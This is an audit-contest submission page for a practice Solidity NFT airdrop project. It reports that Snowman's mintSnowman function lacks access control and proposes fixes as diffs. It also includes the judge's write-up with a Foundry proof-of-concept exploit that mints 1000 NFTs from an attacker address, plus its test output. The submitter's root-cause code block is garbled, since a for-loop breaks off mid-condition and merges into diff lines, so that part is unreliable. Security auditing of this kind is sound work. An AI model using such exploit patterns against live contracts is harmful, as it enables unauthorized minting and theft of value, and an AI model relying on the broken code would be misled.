Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Missing access control in Snowman::mintSnowman allows arbitrary and unauthorized NFT minting

Root + Impact

## Description
In `Snowman.sol`, the function `mintSnowman()` is declared with `external` visibility but lacks any access
control check or caller verification modifier.

Although the contract defines a custom error `SM__NotAllowed()` on line 20 and inherits OpenZeppelin's `Ownable`
contract, no restrictions are placed on `mintSnowman()`.

This directly violates the core protocol invariant stated in the official documentation (`README.md`):
> *"The Snow token is staked in the SnowmanAirdrop contract, and the staker receives Snowman NFTs in the value of
how many Snow tokens they own."*

The intended architecture requires users to acquire `Snow` tokens (either by waiting weekly or buying with
ETH/WETH), approve them for staking in `SnowmanAirdrop.sol`, and provide valid Merkle proofs with EIP-712
signatures. Because `Snowman::mintSnowman` is unrestricted, any caller can bypass the entire staking, airdrop,
and payment architecture to mint any quantity of NFTs at zero cost.

### Root Cause
In `src/Snowman.sol`:

```solidity
    // >>> EXTERNAL FUNCTIONS
@>  function mintSnowman(address receiver, uint256 amount) external {
        for (uint256 i = 0; i >> VARIABLES
     uint256 private s_TokenCounter;
     string private s_SnowmanSvgUri;
+    address public s_airdropContract;
+
+    modifier onlyAirdrop() {
+        if (msg.sender != s_airdropContract) {
+            revert SM__NotAllowed();
+        }
+        _;
+    }

     // >>> EVENTS
     event SnowmanMinted(address indexed receiver, uint256 indexed numberOfSnowman);
@@ -34,7 +41,15 @@ contract Snowman is ERC721, Ownable {
     }

+    function setAirdropContract(address _airdropContract) external onlyOwner {
+        if (_airdropContract == address(0)) {
+            revert SM__ZeroAddress();
+        }
+        s_airdropContract = _airdropContract;
+    }

     // >>> EXTERNAL FUNCTIONS
-    function mintSnowman(address receiver, uint256 amount) external {
+    function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
         for (uint256 i = 0; i < amount; i++) {
             _safeMint(receiver, s_TokenCounter);

--- a/script/DeploySnowmanAirdrop.s.sol
+++ b/script/DeploySnowmanAirdrop.s.sol
@@ -27,6 +27,7 @@ contract DeploySnowmanAirdrop is Script {
         nft = nftDeployer.run();

         airdrop = new SnowmanAirdrop(s_MERKLE_ROOT, address(snow), address(nft));
+        nft.setAirdropContract(address(airdrop));

         return (airdrop, snow, nft);
     }
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 33 minutes ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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